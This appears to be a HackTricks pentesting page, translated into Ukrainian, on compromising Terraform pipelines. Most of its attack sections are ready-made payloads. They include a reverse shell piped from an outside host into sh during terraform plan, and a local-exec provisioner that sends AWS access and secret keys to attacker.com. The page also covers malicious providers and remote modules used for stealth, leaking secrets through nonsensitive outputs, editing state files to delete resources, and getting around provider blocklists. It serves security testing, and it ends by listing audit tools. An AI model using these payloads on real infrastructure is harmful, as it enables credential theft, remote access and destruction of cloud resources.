Terraform Security

Підтримайте HackTricks

Основна інформація

З документації:

HashiCorp Terraform - це інструмент як кодування інфраструктури, який дозволяє визначати як хмарні, так і локальні ресурси у конфігураційних файлах, які можна версіонувати, використовувати та ділитися. Після цього ви можете використовувати послідовний робочий процес для надання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати компонентами низького рівня, такими як обчислення, сховище та мережеві ресурси, а також компонентами високого рівня, такими як записи DNS та функції SaaS.

Як працює Terraform?

Terraform створює та керує ресурсами на хмарних платформах та інших службах через їх програмні інтерфейси застосунків (API). Постачальники дозволяють Terraform працювати з практично будь-якою платформою або службою з доступним API.

HashiCorp та спільнота Terraform вже написали понад 1700 постачальників, щоб керувати тисячами різних типів ресурсів та служб, і ця кількість продовжує зростати. Ви можете знайти всі загальнодоступні постачальники на Реєстрі Terraform, включаючи Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багато інших.

Основний робочий процес Terraform складається з трьох етапів:

  • Запис: Ви визначаєте ресурси, які можуть бути на різних хмарних платформах та службах. Наприклад, ви можете створити конфігурацію для розгортання додатку на віртуальних машинах в мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження.

  • План: Terraform створює план виконання, описуючи інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації.

  • Застосувати: Після схвалення Terraform виконує запропоновані операції у правильному порядку, дотримуючись будь-яких залежностей ресурсів. Наприклад, якщо ви оновлюєте властивості VPC та змінюєте кількість віртуальних машин у цьому VPC, Terraform переробить VPC перед масштабуванням віртуальних машин.

Лабораторія Terraform

Просто встановіть Terraform на свій комп'ютер.

Ось посібник та ось найкращий спосіб завантажити Terraform.

RCE в Terraform

Terraform не має платформи, яка викладає веб-сторінку або мережевий сервіс, який ми можемо перелічити, тому єдиний спосіб компрометувати Terraform - мати можливість додавати/змінювати файли конфігурації Terraform.

Однак Terraform - це дуже чутлива компонента для компрометації, оскільки вона матиме привілейований доступ до різних місць, щоб працювати належним чином.

Основний спосіб для атакування, щоб мати можливість компрометувати систему, де працює Terraform, - компрометувати сховище, де зберігаються файли конфігурації Terraform, оскільки на деякому етапі вони будуть інтерпретовані.

Фактично, існують рішення, які автоматично виконують terraform plan/apply після створення PR, такі як Atlantis:

Atlantis Security

Якщо ви зможете компрометувати файл Terraform, існують різні способи виконання RCE, коли хтось виконує terraform plan або terraform apply.

Terraform plan

Terraform plan - це найбільш використана команда в Terraform, і розробники/рішення, які використовують Terraform, викликають її постійно, тому найлегший спосіб отримати RCE - це переконатися, що ви забруднюєте файл конфігурації Terraform, який буде виконувати довільні команди під час terraform plan.

Використання зовнішнього постачальника

Terraform пропонує зовнішній постачальник, який надає можливість взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних external, щоб виконати довільний код під час plan.

Впровадження у файл конфігурації Terraform чогось на зразок наступного виконає обернену оболонку при виконанні terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Використання власного провайдера

Зловмисник може надіслати власний провайдер до Реєстру Terraform і потім додати його до коду Terraform у гілці функцій (приклад звідси):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Постачальник завантажується в init і виконає зловмисний код під час виконання plan

Ви можете знайти приклад за посиланням https://github.com/rung/terraform-provider-cmdexec

Використання зовнішньої посилання

Обидва згадані варіанти корисні, але не дуже приховані (другий є більш прихованим, але складнішим, ніж перший). Ви можете виконати цей атаку навіть у більш прихований спосіб, слідуючи цим рекомендаціям:

  • Замість того, щоб додавати обернену оболонку безпосередньо до файлу terraform, ви можете завантажити зовнішній ресурс, який містить обернену оболонку:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Можна знайти код оболонки rev за посиланням https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • У зовнішньому ресурсі використовуйте функцію ref, щоб приховати код оболонки terraform rev у гілці всередині репозиторію, щось на зразок: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Застосування Terraform

Команда Terraform apply буде виконана для застосування всіх змін, ви також можете скористатися цим для отримання RCE, впроваджуючи зловмисний файл Terraform з local-exec. Вам лише потрібно переконатися, що деякий вміст, подібний наступному, потрапляє в файл main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Дотримуйтесь рекомендацій з попередньої техніки, щоб виконати цей атаку більш приховано, використовуючи зовнішні посилання.

Витік секретів

Ви можете мати секретні значення, використані terraform, витікнуті під час виконання terraform apply, додавши до файлу terraform щось на зразок:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Зловживання файлами стану Terraform

У випадку, якщо у вас є доступ на запис до файлів стану Terraform, але ви не можете змінювати код Terraform, це дослідження надає деякі цікаві варіанти використання файлу:

Видалення ресурсів

Є 2 способи знищення ресурсів:

  1. Вставте ресурс з випадковою назвою в файл стану, що вказує на реальний ресурс для знищення

Оскільки Terraform побачить, що ресурс не повинен існувати, він його знищить (відповідно до вказаного ідентифікатора реального ресурсу). Приклад з попередньої сторінки:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Змініть ресурс для видалення таким чином, щоб його не можна було оновити (тоді він буде видалений та перестворений)

Для екземпляра EC2 достатньо змінити тип екземпляра, щоб Terraform видалив його та створив знову.

RCE

Також можливо створити власного провайдера та просто замінити одного з провайдерів у файлі стану Terraform на зловмисного або додати порожній ресурс зі зловмисним провайдером. Приклад з оригінального дослідження:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Заміна провайдера з чорного списку

У випадку, якщо ви зіткнетеся з ситуацією, коли hashicorp/external був внесений до чорного списку, ви можете переімплементувати провайдер external, виконавши наступне. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати свій власний форк або переімплементацію.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Потім ви можете використовувати external як зазвичай.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Інструменти аудиту

  • tfsec: tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних конфігурацій.

  • terascan: Terrascan - це аналізатор статичного коду для Інфраструктури як коду.

Посилання

Підтримайте HackTricks

Last updated